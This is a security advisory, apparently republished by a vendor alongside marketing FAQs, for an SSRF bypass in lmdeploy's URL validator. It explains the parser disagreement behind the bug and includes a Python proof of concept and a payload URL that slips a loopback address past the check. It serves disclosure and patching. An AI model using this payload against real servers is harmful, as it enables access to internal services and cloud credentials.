Summary
LMDeploy has an SSRF bypass
The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
Details
The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request.
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
urlparse()treats\as a regular character and@as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)requeststreats\as a path character, connecting to127.0.0.1(internal)
Below is a test code I wrote following the code.
from urllib.parse import urlparse
import ipaddress
import socket
import requests
def _is_safe_url(url: str) -> tuple[bool, str]:
"""Check if the URL is safe to fetch (not internal/private)."""
try:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False, f"Unsupported scheme: {parsed.scheme}"
hostname = parsed.hostname
if not hostname:
return False, "Could not parse hostname from URL"
# check all IPs (IPv4 + IPv6) using getaddrinfo
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False, "Hostname resolution failed"
for info in infos:
ip = ipaddress.ip_address(info[4][0])
# block any IP that is not globally routable (covers private, loopback,
# link-local, multicast, reserved, unspecified, etc.)
if not ip.is_global:
return False, f"Blocked non-global IP detected: {ip}"
return True, "URL is safe"
except Exception as e:
return False, f"URL validation failed: {str(e)}"
# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
raise ValueError(f"URL is blocked for security reasons: {reason}")
fetch_timeout = 10
client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.
PoC
http://127.0.0.1:6666\@1.1.1.1
Impact
SSRF
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
GHSA-39WR-7Q6H-CF68 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.15.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is GHSA-39WR-7Q6H-CF68? GHSA-39WR-7Q6H-CF68 is a high-severity server-side request forgery (SSRF) vulnerability in lmdeploy (pip), affecting versions >= 0.12.3, < 0.15.0. It is fixed in 0.15.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is GHSA-39WR-7Q6H-CF68? GHSA-39WR-7Q6H-CF68 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of lmdeploy are affected by GHSA-39WR-7Q6H-CF68? lmdeploy (pip) versions >= 0.12.3, < 0.15.0 is affected.
- Is there a fix for GHSA-39WR-7Q6H-CF68? Yes. GHSA-39WR-7Q6H-CF68 is fixed in 0.15.0. Upgrade to this version or later.
- Is GHSA-39WR-7Q6H-CF68 exploitable, and should I be worried? Whether GHSA-39WR-7Q6H-CF68 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-39WR-7Q6H-CF68 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-39WR-7Q6H-CF68? Upgrade
lmdeployto 0.15.0 or later.